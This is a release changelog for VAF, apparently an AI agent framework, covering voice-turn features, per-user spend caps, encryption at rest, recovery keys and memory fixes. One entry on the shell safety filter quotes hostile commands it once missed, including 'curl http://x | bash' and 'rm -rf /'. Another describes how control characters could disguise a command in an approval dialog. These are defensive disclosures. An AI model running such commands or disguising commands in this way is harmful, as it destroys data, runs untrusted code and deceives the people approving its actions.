    password, with the warning reading "all clear" because it only checked the
    app connection. The command now rotates both roles, each verified before
    anything is saved, and the warning watches both connections.

Added

  • Developers can now build voice assistants on VAF. The live-call turn
    pipeline - noise gate, speech-to-text, speaker verification with the
    anti-spoofing rules, the reflex policy, the reply layer and the delegation
    decision - is available as a library object: from vaf import VoiceTurnEngine, TurnOutcome. You bring the microphone, the transport and
    the text-to-speech (and your own recognizer via the transcribe seam); the
    engine returns one decided outcome per utterance. It is the exact object
    VAF's own web call runs on. Contract and runnable example: EMBEDDING.md
    ("Running a voice turn yourself") and examples/09_voice_turn.py.
  • The voice call got measurably faster, and it now measures itself. Three
    independent cuts. Memory lookups behind every turn: the embedding model padded
    every text to its full width, so a short query cost ~140 ms - now ~7 ms, which
    also speeds up memory search and document lookups everywhere else. The
    listening detector: the pause before the agent accepts that you finished
    dropped by roughly half a second (a smoothing filter meant for visual meters
    was delaying the decision, background hum no longer counts as speech, and the
    silence window shrank accordingly). And every call turn now reports where its
    time went - microphone wait, transcription, speaker check, answer, speech -
    so the next slow turn is a log line, not a guess.
  • Optional: the agent can hear that you merely paused (off by default). With
    voice_semantic_endpoint_enabled the browser streams the microphone to the
    server during a call and a small local model (Smart Turn v3, 8 MB, runs on
    CPU, BSD-2 licensed, downloaded on first use) judges from your intonation
    whether you actually finished the sentence - a mid-sentence thinking pause no
    longer ends your turn, and a finished one ends it without waiting out the full
    silence timer. The browser's own timer always remains as the fallback.
  • You can see, and cap, what the API costs per user. VAF measured tokens
    for every call and then forgot them; nothing added them up and nothing could
    stop a runaway loop, even though one instance serves several people plus
    automations and background thinking from your keys. Each call is now
    estimated and written to a per-user daily ledger, and
    spend_budget_usd_per_day (admin-only, off by default) ends a turn once that
    user reaches their cap, naming the setting in the message. The figure is an
    estimate and says so: a model that is not in the price table is deliberately
    priced high, and the ledger counts how often it had to guess.
  • Hands-off mode for admins. A new admin-only setting,
    tool_confirmation_bypass_admins (off by default), lets an admin run
    confirmation-gated tools without being asked each time. It skips only the
    question: who may call what is still decided by the admin-only rules and the
    per-account tool list, an application that explicitly demands a prompt still
    gets one, and every skipped dialog is recorded as an event, so hands-off does
    not mean unobserved.

Fixed

  • Saying the agent's name is never answered with silence any more. On a
    live call, a speaker the voice check did not recognize as the owner could
    address the agent by name - twice - and get nothing back: the small local
    model ignored its "you were addressed, answer" instruction and the safety
    net that overrides such silent drops only protected recognized owners. It
    now covers every turn that clearly addresses the agent; the reply is a short
    spoken "say that again" that grants nothing (all action rules still require
    the verified voice). The dropped speaker in the live incident was in fact
    the owner, mislabeled by a short noisy clip - exactly the case the net is
    for.
  • A finished answer no longer waits minutes for an invisible check. After
    the reply is already on screen, a small internal check decides whether the
    agent just asked you a question. On API providers that check had no time
    limit of its own and could sit silently for minutes while the stop button
    stayed lit (observed live: 343 seconds, with no trace in any log). It is now
    hard-bounded at a few seconds, falls back to a simple text check when it
    cannot answer in time, and writes a log line either way.
  • A confirmation you granted no longer speaks for everyone on the machine.
    Answering "always" wrote a single shared file, so on a LAN instance that
    permission was armed for every other user too - silently, because a standing
    permission skips the dialog before anything is logged. Permissions are stored
    per user now. The old shared file is set aside rather than inherited, so the
    next dangerous tool asks once more, for you alone.
  • Loop-protection notes no longer look like something you wrote. When a
    turn hit its tool budget, the framework appended its stop notice to the
    conversation as a user message, so it was saved with the session, could
    become the session's title, counted towards compaction and reappeared as a
    chat bubble of yours after a reload. It is stored as a system note now; what
    the model is told is unchanged.
  • One local mode sent the conversation unrepaired. Of the three ways VAF
    reaches a model, the in-process local one (Linux with Python 3.12 and no
    llama-server, e.g. a fresh Ubuntu install) skipped every pre-send repair: a
    half-finished tool call could stay in the history, images were never turned
    into text, the memory context silently vanished, and turns that were meant to
    run without tools still got them. It now goes through the same preparation as
    the other two.
  • The confirmation dialog can no longer show something other than what runs.
    Arguments went to the dialog raw, so a text-direction control character could
    visually reverse a command, an access token was displayed in full, and a
    command cut at 300 characters looked exactly like a short one. Hidden
    characters are now shown as visible markers, secrets are replaced (the
    surrounding option is kept, so you still see what was passed), a cut says so,
    and shell commands carry a plain-language note of what they do. The terminal
    prompt and the TUI modal show the arguments at all now - until today they
    asked you to approve a tool name.
  • The shell safety filter no longer blocks ordinary work while letting the
    dangerous cases through.
    It matched substrings, so rm -rf /tmp/scratch
    was refused (the text contains rm -rf /) while curl http://x | bash,
    rm -rf / with a double space, and a command that builds its executable
    from a substitution all ran. It now reads the command the way a shell does -
    quote-aware, following pipes and substitutions - and judges what would
    actually execute. The coder's jailed shell and the machine's confirmed shell
    get different verdicts, because one runs inside a network-less sandbox and
    the other does not, and every refusal now says which property triggered it.
  • Output no longer kills a program on Windows. When output is redirected -
    into a file, a pipe, or a build log - Windows uses a narrow character set that
    cannot represent a checkmark, an emoji, or anything a model might reply with.
    Printing one ended the program. The command line already protected itself;
    the runnable examples and the maintenance scripts did not, so one of the
    examples died on the first encrypted file it tried to show. All of them now
    share one fix, and a test catches the next one in under a second instead of
    after half an hour on the Windows build.
  • A notification in the Logs window now shows where it came from. The dot on
    the sidebar counts everything in the security log, but the window worked out
    its own number by adding up the firewall, channel and skill counters - so an
    event belonging to none of them, such as the warning that the memory database
    still uses the shipped default password, lit the dot outside and marked
    nothing inside. Both read the same number now, so a new kind of event can
    never again arrive unannounced.
  • A first start can no longer mint two different master keys. Bringing up the
    tray and the background workers at once meant several processes resolving the
    encryption key simultaneously, and two that minted at the same moment both
    wrote it - the later one winning. Anything the earlier one had already
    encrypted was then unreadable for good, with no error anywhere. The key is
    created once now, under a machine-wide lock, and a process that loses the race
    adopts the winner's key instead of overwriting it.
  • Setting a password can no longer paper over a lost key store. Writing the
    admin password's offline copy went straight into the key store without the
    check every other write performs, so on a machine whose store had gone missing
    it quietly created a fresh one - after which everything looked healthy while
    the keys that open the actual data were gone. It now refuses, and points at the
    recovery key.
  • Encryption at rest now behaves on Windows and macOS, not only on Linux.
    The feature had been designed and tested on one platform, and two of its
    assumptions were POSIX assumptions. On Windows chmod cannot restrict who may
    read a file at all, so the master key now goes into the Credential Manager
    there - where your Windows login protects it - instead of into a file VAF
    cannot protect; Linux and macOS keep the owner-only file, because chmod is
    real there and both OS keyrings can lock the app out of its own data. Renaming
    a file into place is also not the same operation on Windows: it fails while
    another program has the file open, which for a virus scanner or a search
    indexer is routine, so every store write now retries briefly instead of losing
    a chat. The threat table in the documentation states what holds per platform
    rather than giving one answer for all three.
  • A recovery key can no longer be lost the moment it is created. VAF wrote
    the key file first and the note that contains the key second, so if the note
    could not be written - a Desktop macOS has denied access to, a
    OneDrive-redirected Desktop, a full disk - the result was a recovery file that
    nothing on earth could open, while vaf secure status reported the recovery
    key as set up and never tried again. The note is written first now, and
    nothing is stored unless it succeeded.
  • The Redis password left the installation folder. It was written to a
    .env beside the program files, which on Windows is frequently outside your
    user profile and therefore readable by every account on the machine, and which
    editors offer to load into every terminal they open. It now lives with the
    other keys in ~/.vaf/compose.env, and an existing file loses only that line.
  • Redirecting output no longer walks past the terminal password.
    vaf session export <id> > chat.txt skipped the prompt entirely, because the
    gate asked whether output was a terminal as well as input. Exporting your
    chats is exactly what that gate is for.
  • The terminal app encrypts existing chats like the other start paths. The
    default vaf run lane never ran the at-rest migration, so a terminal-only
    user kept plaintext chats indefinitely while the tray and the other CLI lanes
    converted theirs.
  • vaf start no longer exits immediately on Windows, where it waited for a
    signal in a way that only exists on Unix and took the background service down
    with it a second later.
  • The Context Window showed another lane's goal, plan and tasks. The panel
    asked the backend for "the agent's brain" without naming a chat, and the
    server then answered from a shared store that scheduled automations and other
    session-less lanes write into - so an open conversation could display a
    morning-weather automation's instructions next to an unrelated timer's plan,
    while its own working memory sat unread. It now asks for the open chat and
    refetches when you switch chats. The same endpoint had no login check at all,
    which on a local-network install meant anyone who could reach the port could
    read the agent's working memory; it now requires a session you own.
  • A long turn no longer pushes the chat sideways. The row of step dots under
    a turn drew one dot per step with no limit, so a turn with ninety steps ran
    wider than the window and put the whole conversation into horizontal scroll.
    It now shows the first ten and the last three with the gap marked, and the
    count beside it still names the total.

Added

  • Your chats are encrypted on disk. Everything VAF stores about a
    conversation - the chat records, the pre-compression archives, hand-off
    bundles, sub-agent task text and the agent's working memory - is now written
    as AES-256-GCM ciphertext instead of readable JSON. If the laptop is stolen or
    the SSD ends up somewhere else, the passwords, keys and doctor's or lawyer's
    matters in those chats are not readable. The key is held by the machine in an
    owner-only file, so the agent still starts and works on its own after a
    reboot; on installs that start VAF from inside the desktop session, setting
    secure_store_kek_backend = "keyring" before the first start creates it in
    the OS keyring instead, which your login password protects. Chats written
    before this keep opening, and are re-written encrypted the next time they are
    saved. file_encryption_enabled turns it off for anyone whose storage already
    does this. Full threat table, including what it deliberately does NOT cover:
    docs/security/ENCRYPTION_AT_REST.md.
  • A recovery key, so a reinstall is not the end of your chats. The moment
    the keys are created, VAF writes VAF-BackThisUp.md to your Desktop: one
    256-bit recovery key plus plain instructions. With it and a copy of two small
    key files you can open your data on a completely new machine
    (vaf secure recover) - without it, a lost operating-system login means the
    encrypted chats are gone, and nobody can help. The note says in its first line
    that it is itself a key and belongs somewhere other than that Desktop.
  • All encryption keys left config.json. The memory key, the mail key, the
    GitHub key, the token signing secret and the master key used to sit in
    plaintext in the same file tree as the data they protect, which made
    "encrypted at rest" mean very little. They now live in one encrypted keyring
    whose master key is an owner-only file of its own (or the OS keyring, if you
    opt in with secure_store_kek_backend), and API keys no longer keep a
    plaintext copy behind either. A one-time config.json.pre-keyring.bak is
    written before anything is removed, so a downgrade stays possible.
    vaf secure status shows where every key is.
  • The terminal asks for your password. vaf run, the TUI and the whole
    vaf session group now require the admin password before starting - the web
    UI always did, the terminal never did, and vaf session export prints the
    very chats the encryption protects. Scripts, vaf run -p, the tray,
    automations and background workers are never prompted; they run inside the
    protected area already. Verified against a hash stored locally, so a stopped
    database cannot lock you out. cli_password_gate turns it off.
  • vaf secure - status says where each key lives, what is still
    unprotected and which files have to be backed up together on THIS machine;
    recover puts the data key back after a reinstall using the recovery key; and
    rotate-db replaces the shipped default database password (verified before it
    is saved, so a half-finished rotation cannot lock you out).
  • A runnable example for the storage modes -
    examples/08_session_storage_and_encryption.py walks the four decisions an
    embedder makes (plaintext, plaintext with several tenants, encrypted, and
    recovery after the machine key is deleted) against a throwaway home directory.
    It needs no model, no API key and no network, and greps the raw bytes to show
    what is and is not readable on disk.
  • Cross Chat Hint: the agent can point at your other chats. Below the memory
    snippets it now gets up to two short pointers into your OTHER still-existing
    chats when they match your question by keyword, so "we worked on a PDF the
    other day" can find the chat where that happened. The long-term memory could
    never answer this: session summaries are stored without the chat they came
    from. Matching is lexical and reads the session files directly, so it also
    works while the memory database is down, and it is umlaut-tolerant and reaches
    into German compounds (Reisekostenabrechnung finds a chat about
    Reisekosten). A single hit on an everyday word produces nothing. Hints come
    only from chats you own, never from a deleted one, and never from a
    conversation with a contact; background runs, front-office turns and voice
    calls get none at all. Visible as its own section in the RAG snippets panel,
    with the number of hints per turn in Settings -> Persona & Memory, and
    inspectable with
    vaf memory cross-chat --query "...". New keys: cross_chat_hint_enabled,
    cross_chat_hint_k, cross_chat_hint_min_terms, cross_chat_hint_min_score,
    cross_chat_hint_max_age_days.
  • memory_search now also searches your other chats. Asking "when did we talk
    about X?" or "which chat was that in?" gets a second, clearly separated section
    listing the chats a topic appears in, with the chat's name and how long ago it
    was. The saved-facts half could never answer that - stored memories do not
    record which conversation they came from. Because this half reads the chat files
    rather than the database, the tool keeps answering when the memory service is
    down instead of only reporting the outage. The same switch as above turns it off.
  • Breaking-change contract tests embedders can run in their own CI. The
    stable embedding surface documented in EMBEDDING.md ("What is and isn't
    stable") is now pinned by an offline, self-contained pytest suite under
    tests/contract/ - one file per contract module (facade exports, Agent,
    CoreAgent, BaseTool/user_jail, ToolCaller/ToolRequest, the account
    allowlist resolver, vaf.markers, extract_pdf_markdown, the session/turn
    context API, and the vaf.tools entry-point group). Vendor the directory
    from the tag you build against and run it against any newer VAF release: a
    failure means that release breaks the promised surface. The suite isolates
    itself from your real home and config directories when run standalone; see
    tests/contract/README.md.

Fixed

  • Encrypted stores close behind themselves. Reading accepted files without
    the encryption header, so that older chats keep opening - correct during the
    changeover, and a hole if it stayed on: anyone able to write into the store
    could put a plain file there and it would be read as if it were yours. Once a
    startup pass finds nothing unencrypted left, VAF stops accepting plain files
    (allow_plaintext_at_rest). Also: the recovery note is now excluded from the
    agent's own file tools and indexer, which would otherwise have read the
    recovery key and stored it in the memory database, and it ships one encoding
    of that key instead of two - the word list carried fewer bits than the file
    claimed and had no checksum.
  • Log files stop collecting your conversations in the clear. The full
    assembled system prompt - your profile, retrieved memories, working memory,
    contacts - was written to prompt_*.log on every build, with debug logging on
    by default. That is off now (prompt_log_full_enabled). Logs also default to
    the data directory beside your other VAF data instead of the source checkout,
    which on at least one machine meant an unencrypted disk; VAF_DEV_LOGS=1
    brings the old location back for development.
  • Old conversation snapshots no longer pile up forever. The pre-compression
    archives were only cleaned when VAF shut down cleanly, so a crash or a killed
    tray left them for good - thousands of files, each a fuller copy of a chat
    than the chat itself. They are now swept by age
    (context_archive_max_age_days, default 14), and finished sub-agent task
    files are deleted instead of accumulating.
  • The master key no longer hides where the app cannot reach it. It defaulted
    to the operating system's keyring, which is the stronger place - and is
    unreachable from the background process that actually runs VAF, because the
    tray is started without a desktop session. The first real restart spent 295
    failed attempts on it. The default is now an owner-only file beside the other
    VAF data, protected by whatever disk encryption sits underneath;
    secure_store_kek_backend = "keyring" opts back in for installs that start
    VAF from the desktop session, and an unreachable keyring now falls back to a
    file copy instead of locking the app out.
  • Data could be encrypted with a key that was never saved. When the
    read-back after writing a new key did not show it, the code handed out the
    copy it still held in memory. Whatever was encrypted with it became
    unreadable the moment that process exited - and the next start found
    ciphertext it could not open, which correctly stopped the migration and left
    it stuck. A key that is not in the store is now an error, not a value to use.
  • A second process could make the key store unreadable while every write
    reported success.
    Each process cached the key that opens the store for its
    own lifetime. When another one re-wrapped that store - which happens the
    first time each key is used - the first kept sealing its writes with the
    outdated key: the write went through, the lock was held, nothing looked
    wrong, and the result was a store nobody could open, including the process
    that had just written it. On a live machine that showed up as 34 successful
    key writes that left nothing behind, and a migration that then refused to run
    at all. The cache is now checked against the store's key file on every use.
  • A missing key store is treated as a loss, not as a fresh start. VAF now
    records that an installation has a keyring, so if that store later disappears
    it refuses to create a new key and points at the recovery key. Without
    that, a lost store looked exactly like a first run - and because the old
    plaintext copies in config.json are cleared during the move, the new key
    quietly replaced the only one that could still open the encrypted memories.
    Observed twice in one real start before this landed.
  • A key that cannot be stored is an error, not a reason to make another one.
    When the key store could not be written, every following call minted a fresh
    key and tried again. Nothing was lost this time because no write ever landed,
    but one that had would have made everything encrypted before it unreadable.
    The write now fails loudly, and the "minted a new key" line is written after
    the key is actually stored rather than before.
  • The rollback copy of config.json survives until the move is proven. It
    was deleted as soon as config.json held no keys - which is briefly true even
    when the new store could not be written at all. It now waits until the key
    store opens and actually contains the keys.
  • Redis and Postgres. The cache that holds decrypted memory ran with no
    password at all; it now gets one from the keyring. VAF also warns when the
    database still uses the password that ships with the project.
  • The memory block no longer piles up inside a single turn. The retrieved
    memories were merged into the first system message in place, and for API
    providers that message is the stored history entry, so every tool round-trip
    of the same turn appended the whole block again: one archived conversation
    carried a 145,000-character system message with 24 copies of it. The block is
    now built into a copy of the message, which leaves the history clean and keeps
    the prompt the size it looks. The empty-response retry also forwards the
    memories instead of silently retrying without them.
  • Session search only searches your own chats. vaf session search walked
    every session file on the machine with no owner check, so on a shared
    installation it could print other people's chat text. It now runs under the
    caller's identity, on the same strict-ownership walker the rest of the session
    reads use.
  • The interactive lanes stop writing attached files into the chat record.
    Typing @some/file inlines that file for the turn, and the expanded text was
    what got saved as your message, so whole files (an .env, a contract) ended up
    inside the session JSON as if you had typed them. What you typed is what is
    stored now, exactly as the web lane already did it.
  • "Remember this" no longer gets flagged as something the agent made up.
    Asking the agent to save a fact ran the save, stored it, and then tripped
    the anti-confabulation guard: the reply "Saved." was declared unearned and
    the agent was forced to correct an answer that was true. The cause was a
    classification error. memory_save writes to the memory store and counts as
    a real action everywhere else, but the grounding rule counted it as
    note-taking, and because saving is irreversible the plan gate forces a plan
    call into the same turn, leaving a turn that looks like nothing but
    note-taking. The rule now covers only the working-memory tools it was
    written for. A wrongly forced correction could also send the turn off course:
    in the reported case the agent, told its confirmation was fiction, offered to
    deliver the answer over a messaging channel that was never asked for.
  • Your memory encryption key can no longer be silently replaced. The
    config file is written by several processes at once, and a reader that
    caught it mid-write saw an empty file, concluded "no key yet" and minted a
    fresh one - permanently locking every already-encrypted memory. Config
    writes are now atomic (a reader always sees a complete file), concurrent
    writers are serialized, a save that omits the key keeps the stored one, and
    the key loader re-reads the raw file and refuses to mint while the file
    cannot be parsed. Minting a first-run key is now logged loudly.
  • A rotated memory key is recoverable: vaf memory rekey. If memories
    show "[Decryption failed]" because the key changed, the new command
    re-encrypts every affected row from a config backup that still carries the
    previous key (dry-run first; rows neither key opens are counted and never
    touched).
  • Learning the same PDF twice is refused, not duplicated. The content
    checksum of every finished document is stored with it; clicking learn again
    on a byte-identical file (even re-uploaded under a new name) now answers
    "already learned" with the stored numbers, and the button shows the learned
    state. A deliberate re-learn stays available via force_relearn.
  • Table-of-contents pages are no longer learned as knowledge. Learning a
    document skipped nothing before: the contents/list-of-tables pages became
    stored "knowledge" full of dot leaders and wasted one model call each. They
    are now detected and skipped in both the learning and the attachment
    indexing lane, and the completion message names how many were skipped.
  • Clicking a tag now lists its memories where you can use them. The tag's
    memories appear in the Memory Search panel as a result list and stay there
    while you click through them, instead of vanishing the moment you opened the
    first one. A new search, another tag or the clear button replaces the list.
    Memory tag chips open the same list, which also makes tags usable on a phone,
    where the graph is hidden.
  • The memory graph shows ALL memories again. It used to load only the 100
    most recently changed entries, so learning a large document pushed every
    older memory out of sight. The graph now renders the whole store of the
    current user on a WebGL canvas (force-directed layout, node size by
    connections, labels on zoom, click a legend entry to filter a type) and
    updates right after a document finishes learning. The Settings preview
    shows the same renderer (the old boxed copy could freeze on large stores),
    and labels adapt to dark mode.
  • The agent no longer "thinks without answering". Some API models
    intermittently emit their tool call as plain text instead of through the
    tool channel; the turn then ended with a visible thought and nothing else,
    because nothing was executed and the raw text was hidden. This leaked shape
    is now recognized and executed like a normal tool call - keeping the
    provider's own call id, which the follow-up request requires.
  • Scanned PDFs no longer poison the memory. A scanned document of four or
    more pages never triggered the OCR fallback, because the check mistook the
    extractor's own page markers for text - so learning such a document stored
    bare page scaffolding as knowledge. The check now counts real content, and
    when OCR cannot run, the answer names the actual reason (a missing Tesseract
    used to be reported as an empty document) instead of staying silent.
  • Reading a huge PDF no longer eats gigabytes. The PDF reader kept every
    page in memory until the end - measured 9 GB for a 1000-page book. Pages are
    now released as they are read: same output, byte for byte, at 0.7 GB.

Added

  • Scanned PDFs work out of the box - and Windows is no longer a special
    case.
    Text recognition for scans now has two engines: Tesseract (free,
    local - the installers set it up on every platform, including Windows via
    winget, with the German language pack) and the vision model (reads each page
    with one model call, using your Vision setting - no system install at all).
    The default picks Tesseract when present, else the vision model, and an
    explicit choice in Settings never silently runs the other one. The
    GPL-licensed poppler dependency is gone entirely: page images come straight
    from the PDF or a permissively licensed renderer that ships as a normal
    Python package.
  • A learn button on every attached document. Once a chat attachment
    finishes indexing, a button on its row starts learning it into long-term
    memory - no chat command needed. Attached documents are stored as real files
    now, which is also what makes "learn this attachment" work at all: the old
    advice pointed at a path that did not exist. A banner shows the batch
    progress with a cancel, and the button reflects the state (learning /
    learned).
  • Learning a large document finally learns the whole document. Learning a
    PDF silently kept the first 200 pages and 40 sections - 4% of a 1000-page
    book - and reported success. Learning now runs as a background job in
    batches: the banner shows "batch N of M", the terminal app shows the same
    numbers, and the finish message reports exactly what was learned (pages of
    total, sections, pages without text). An interrupted or stopped run
    continues where it left off instead of starting over or storing duplicates,
    and a document that changed on disk since is refused with a clear message
    instead of being silently mixed with the old knowledge. Caps still exist,
    but only if you set them - and when one fires, the answer names it.
  • "Read pages 100-120" of a PDF now actually works. The tip existed, the
    feature did not: every PDF read took the first 50 pages and silently cut the
    rest. Both read lanes accept a page range now, and every PDF answer says
    honestly which pages of how many it covers and how to continue - instead of
    a bare "(truncated)".
  • Large uploads no longer kill the connection silently. On the desktop
    and LAN paths, attaching a file above roughly 12 MB dropped the WebSocket
    mid-upload with nothing but the reconnect banner - the 200 MB frame ceiling
    existed on one server entry point only. Every server the app starts now
    shares the same ceiling, and attachments above 100 MB per file are refused
    up front with a message naming the file and the limit.
  • A local model that can see images finally does. Local vision only
    worked if you had explicitly set the vision provider to "local" - leaving
    it on its default meant the local server started without the image
    bridge, and the agent answered that images are not supported while the
    settings looked correct. The empty setting now means what it means
    everywhere else: use whatever the main agent uses, if it can see images. A
    chosen cloud provider still wins, and still handles the images itself.
  • Turning local vision on takes effect without restarting VAF. The image
    bridge is chosen when the model server starts, and a server that was
    already running got reused as long as it held the right model - so the new
    setting changed nothing until something else happened to restart it. VAF
    now notices that the running server cannot see and restarts it.
  • Voice input stops blaming faster-whisper for everything. The error
    "faster-whisper not installed" was shown for any import problem at all,
    including an installed faster-whisper whose native part refuses to load -
    a common case on macOS. The message now names the setting that led there
    and the actual reason, so the search starts in the right place.
  • Picking a cloud speech provider no longer leaves a local engine behind.
    Choosing a provider on top of an earlier "Local" pick kept the engine on
    "Local", so the day the key stopped working the microphone dropped into an
    engine that is not part of the standard installation, while the settings
    showed a cloud provider. A cloud provider now also switches the engine back,
    and one place decides where recorded audio goes - the two microphones (web
    and terminal) used to decide it differently.
  • The local speech engine can be installed at all now. Settings offered
    "Local" speech recognition for an engine that no installer delivered.
    It is part of the speech extra from now on: pip install "vaf[speech]",
    and the option says so.
  • A created file is shown on the answer it came with. An image you attached,
    or a file the agent wrote, appeared as a chip under the PREVIOUS answer -
    every time from the second message on, not just occasionally. The file was
    announced while its own answer was still being written, and the chat had to
    guess which message it belonged to. Every answer and every file now says which
    exchange it belongs to, so the chip waits for its own answer instead of
    landing on the one before it. The same file is also no longer shown twice, a
    file produced during a longer agent turn no longer disappears from view, and a
    coding agent that finishes minutes later still finds the right message.

Fixed

  • The Overview headline no longer runs into the module list. On a Mac at the
    usual laptop widths, "Keine Auffaelligkeiten" was drawn straight across the
    status dots beside it. The text column claimed it could shrink to 200 pixels
    while 160 of those were reserved for the shield next to it, so the headline was
    handed 40 pixels and simply painted past them. It now says what it actually
    needs, so the panel stacks the way it already did on narrower screens, and a
    long word breaks rather than overflowing. Nothing moves on wide screens.

  • The shield gets out of the way in a narrow window. It is anchored to the
    middle of the protection panel, which is right while the headline and the
    status rows sit side by side. Once the panel stacks, that middle IS the status
    list, so the big shield sat behind the rows. Stacked, it now sits level with
    the headline, to its left, and shrinks to match it, glow and all. Wide windows
    are unchanged.

  • Repair waits while the containers are still starting. Right after VAF
    starts, the services are on their way up and do not answer yet, which read as
    a fault and invited a repair that would only have restarted what was already
    booting. The button now counts down and says the containers are starting, the
    overview says the same, and a repair leaves a booting container alone. The
    wait is each container's own start window, so it is thirty seconds for the
    database and two minutes for the speech services rather than one guess for
    everything.

Added

  • Health and updates, in the Logs overview. A new row under Guardrails shows
    whether your services are connected and lights up amber when an update is
    waiting; clicking it opens the same Update and Repair dialog as Settings. It
    reads the update answer from disk, so opening Logs never asks GitHub anything.
  • See what one user did. Next to the date in the Logs window, an admin can
    now pick a user and read that person's timeline and tool calls alone. It
    appears once a machine has more than one account. Two deliberate honesty
    points: a name that matches nobody shows nothing rather than everything, and
    entries that carry no user - background work, and anything logged before this
    release stamped identities - are counted and named under the filter instead of
    quietly disappearing into someone's empty day.
  • Update and Repair, at the bottom of Settings -> Advanced. One dialog for
    the two things that used to need a terminal. On the right, your containers as
    a map: green means the service answers, not merely that it runs, so a
    container that is up while VAF cannot reach it stops looking healthy. Amber
    covers the case that used to be the hardest to see, a container publishing a
    different port than the configuration expects. Everything that is not green is
    listed with a Repair button that starts what is stopped, restarts what does
    not answer, and says in plain words what it cannot fix by itself. On the left,
    the installed version and when updates were last checked, a button to check
    now, and, when there is something newer, the new version with an Update now
    button. The update runs by itself: VAF stops, updates, and starts again, and
    the page waits for it and reloads when it is back. It refuses instead of
    half-updating when it cannot finish the job, and says why.
  • vaf repair in the terminal, /repair in the terminal app. The same
    check and repair run, with vaf repair --check reporting the status without
    changing anything. Nothing is ever removed and no configuration is rewritten:
    a port that disagrees with the configuration is reported with both numbers,
    never silently corrected.

Changed

  • The Debug Logs switch is gone from Settings. Debug logging is on by
    default and stays on; turning it off is a deliberate opt-out via
    debug_logs_enabled in config.json, not a toggle to trip over. The Logs
    page's empty states name that config key now, so a config with it off does
    not dead-end pointing at a switch that no longer exists.